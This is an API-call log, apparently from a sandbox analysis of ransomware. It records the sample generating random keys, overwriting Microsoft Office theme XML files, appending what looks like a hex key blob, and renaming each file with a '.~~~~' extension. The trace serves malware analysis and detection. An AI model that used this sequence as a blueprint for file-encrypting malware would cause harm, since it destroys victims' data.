	[0122.104] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.104] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.104] CloseHandle (hObject=0x140) returned 1
	[0122.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6528
	[0122.104] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.~~~~")) returned 1
	[0122.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6528 | out: hHeap=0x300000) returned 1
	[0122.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.105] GetLastError () returned 0x0
	[0122.106] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.107] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.107] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.107] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24209757715) returned 1
	[0122.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb23faeb0, dwHighDateTime=0x1d60e1e)) 
	[0122.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7848
	[0122.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7848 | out: hHeap=0x300000) returned 1
	[0122.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.108] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.108] GetLastError () returned 0x0
	[0122.109] GetLastError () returned 0x0
	[0122.109] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.109] GetLastError () returned 0x0
	[0122.109] GetLastError () returned 0x0
	[0122.112] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.112] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c2, lpOverlapped=0x0) returned 1
	[0122.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.113] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.113] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.113] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.113] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.113] CloseHandle (hObject=0x140) returned 1
	[0122.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fdb8
	[0122.113] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.~~~~")) returned 1
	[0122.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fdb8 | out: hHeap=0x300000) returned 1
	[0122.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.116] GetLastError () returned 0x0
	[0122.117] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.118] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.118] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.118] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24210855958) returned 1
	[0122.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2421010, dwHighDateTime=0x1d60e1e)) 
	[0122.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7810
	[0122.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7810 | out: hHeap=0x300000) returned 1
	[0122.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.119] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.119] GetLastError () returned 0x0
	[0122.119] GetLastError () returned 0x0
	[0122.120] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.120] GetLastError () returned 0x0
	[0122.120] GetLastError () returned 0x0
	[0122.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffc60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.124] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3a0, lpOverlapped=0x0) returned 1
	[0122.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.125] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.126] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.126] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.126] CloseHandle (hObject=0x130) returned 1
	[0122.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.~~~~")) returned 1
	[0122.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.127] GetLastError () returned 0x0
	[0122.127] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39ff38) returned 1
	[0122.129] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0122.129] CryptReleaseContext (hProv=0x39ff38, dwFlags=0x0) returned 1
	[0122.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.129] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24211894024) returned 1
	[0122.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2447170, dwHighDateTime=0x1d60e1e)) 
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b77a0
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b77a0 | out: hHeap=0x300000) returned 1
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5a40
	[0122.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0122.130] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.130] GetLastError () returned 0x0
	[0122.130] GetLastError () returned 0x0
	[0122.130] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.130] GetLastError () returned 0x0
	[0122.130] GetLastError () returned 0x0
	[0122.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffc3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.208] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c4, lpOverlapped=0x0) returned 1
	[0122.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.209] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.209] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.209] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.209] CloseHandle (hObject=0x130) returned 1
	[0122.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.~~~~")) returned 1
	[0122.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.296] GetLastError () returned 0x0
	[0122.323] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.325] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.325] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.325] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24231545825) returned 1
	[0122.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb26101f0, dwHighDateTime=0x1d60e1e)) 
	[0122.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281eb18
	[0122.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281eb18 | out: hHeap=0x300000) returned 1
	[0122.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0122.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0122.326] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.327] GetLastError () returned 0x0
	[0122.327] GetLastError () returned 0x0
	[0122.327] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.327] GetLastError () returned 0x0
	[0122.327] GetLastError () returned 0x0
	[0122.374] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffc3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.374] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c2, lpOverlapped=0x0) returned 1
	[0122.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.376] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.377] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.377] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.377] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.377] CloseHandle (hObject=0x128) returned 1
	[0122.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3902c0
	[0122.377] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.~~~~")) returned 1
	[0122.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3902c0 | out: hHeap=0x300000) returned 1
	[0122.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.379] GetLastError () returned 0x0
	[0122.379] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.381] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.381] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.381] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24237376375) returned 1
	[0122.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb26a8770, dwHighDateTime=0x1d60e1e)) 
	[0122.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ec30
	[0122.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ec30 | out: hHeap=0x300000) returned 1
	[0122.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5a40
	[0122.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0122.385] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.385] GetLastError () returned 0x0
	[0122.385] GetLastError () returned 0x0
	[0122.385] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.385] GetLastError () returned 0x0
	[0122.385] GetLastError () returned 0x0
	[0122.399] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffc40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.399] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c0, lpOverlapped=0x0) returned 1
	[0122.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
